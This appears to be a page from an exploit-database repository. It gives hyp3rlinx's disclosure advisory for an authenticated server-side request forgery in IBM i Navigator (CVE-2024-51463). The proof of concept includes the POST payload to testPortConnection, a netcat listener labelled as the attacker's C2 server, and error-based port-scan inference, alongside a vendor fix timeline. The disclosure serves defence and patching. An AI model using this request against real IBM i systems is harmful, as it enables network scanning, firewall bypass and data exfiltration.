b905517ca9
22 changes to exploits/shellcodes/ghdb Spring Boot common-user-management 0.1 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 (userManagement.php) - Weak Password Policy ABB Cylon Aspect 3.08.02 (bbmdUpdate.php) - Remote Code Execution ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) - Stored Cross-Site Scripting ABB Cylon Aspect 3.08.02 (licenseUpload.php) - Stored Cross-Site Scripting ABB Cylon Aspect 3.08.02 (uploadDb.php) - Remote Code Execution ABB Cylon Aspect 3.08.02 - Cookie User Password Disclosure ABB Cylon Aspect 3.08.03 (CookieDB) - SQL Injection Ivanti Connect Secure 22.7R2.5 - Remote Code Execution (RCE) ABB Cylon Aspect 3.08.03 (MapServicesHandler) - Authenticated Reflected XSS ABB Cylon Aspect 3.08.03 - Hard-coded Secrets Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE) IBMi Navigator 7.5 - HTTP Security Token Bypass IBMi Navigator 7.5 - Server Side Request Forgery (SSRF) Plane 0.23.1 - Server side request forgery (SSRF) ABB Cylon Aspect 3.08.02 (escDevicesUpdate.php) - Denial of Service (DOS) ABB Cylon Aspect 3.08.02 (webServerUpdate.php) - Input Validation Config Poisoning Cacti 1.2.26 - Remote Code Execution (RCE) (Authenticated) OpenCMS 17.0 - Stored Cross Site Scripting (XSS) Really Simple Security 9.1.1.1 - Authentication Bypass Pymatgen 2024.1 - Remote Code Execution (RCE)
91 lines
No EOL
3.3 KiB
Text
91 lines
No EOL
3.3 KiB
Text
# Author Title: John Page (aka hyp3rlinx)
|
|
# Author Website: hyp3rlinx.altervista.org
|
|
# Source: https://hyp3rlinx.altervista.org/advisories/IBMi_Navigator_HTTP_Security_Token_Bypass-CVE-2024-51464.txt
|
|
# Vendor: www.ibm.com
|
|
|
|
|
|
|
|
[Vendor]
|
|
www.ibm.com
|
|
|
|
[Product]
|
|
Navigator for i is a Web console interface where you can perform the key tasks to administer your IBM i.
|
|
IBM Navigator for i supports the vast majority of tasks that were available in the System i Navigator Windows client application.
|
|
This Web application is part of the base IBM i operating system, and can be easily accessed from your web browser.
|
|
|
|
|
|
[Vulnerability Type]
|
|
Server Side Request Forgery (SSRF)
|
|
|
|
[CVE Reference]
|
|
CVE-2024-51463
|
|
|
|
[Security Issue]
|
|
IBM i is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system,
|
|
potentially leading to network enumeration or facilitating other attacks.
|
|
|
|
post auth server side request forgery on non managed nodes to external hosts on any TCP ports. There are two call vectors that can be abused here,
|
|
one is the "Test TLS connection" but it only allows connections to TCP port 9476.
|
|
|
|
However, there exists another servlet method called "testConnectPort" which an authenticated attacker can use to connect to any IP and PORT
|
|
outside of the LAN. This can be abused for port scans, information disclosure, exfil data., bypass firewall rules to attack non managed nodes
|
|
or connect to attacker controlled C2 infrastructure.
|
|
|
|
This SSRF relies on exploiting a HTTP servlet generated security token bypass CVE-2024-51464, where intercepted HTTP request MN tokens are
|
|
incremented or padded with zero. This attacker controlled MN token is now seen as valid and the HTTP 403 Forbidden restriction is bypassed.
|
|
|
|
|
|
[Exploit/POC]
|
|
1) attacker payload
|
|
|
|
POST /Navigator/DispatcherServlet/serviceability/testPortConnection?system=10.1.1.4
|
|
{"hostname":"10.2.10.16", "port":445}
|
|
|
|
2) attackers c2 server
|
|
|
|
┌──(rootggKali)-[/usr/share]
|
|
└─# nc -llvp 445
|
|
listening on [any] 445 ...
|
|
connect to [10.2.10.16] from victimhost [10.1.1.4] 44569
|
|
|
|
|
|
For port scan we can infer if external host ports are open or closed using error responses.
|
|
|
|
Port is open:
|
|
Error 500: Connection reset
|
|
|
|
Port is closed
|
|
Error 500: A remote host refused an attempted connect
|
|
|
|
|
|
[References]
|
|
ADV0142856
|
|
https://www.ibm.com/support/pages/node/7179509
|
|
|
|
[Affected versions]
|
|
7.5.0,7.4.0, 7.3.0
|
|
|
|
|
|
[Network Access]
|
|
Remote
|
|
|
|
|
|
[Severity]
|
|
Medium
|
|
CVSS Base score: 5.4
|
|
|
|
Vendor Notification: 10/14/2024
|
|
Vendor fix and publication: 12/20/2024
|
|
12/27/2024 : Public Disclosure
|
|
|
|
|
|
|
|
[+] Disclaimer
|
|
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
|
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
|
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
|
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
|
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
|
or exploits by the author or elsewhere. All content (c).
|
|
|
|
hyp3rlinx |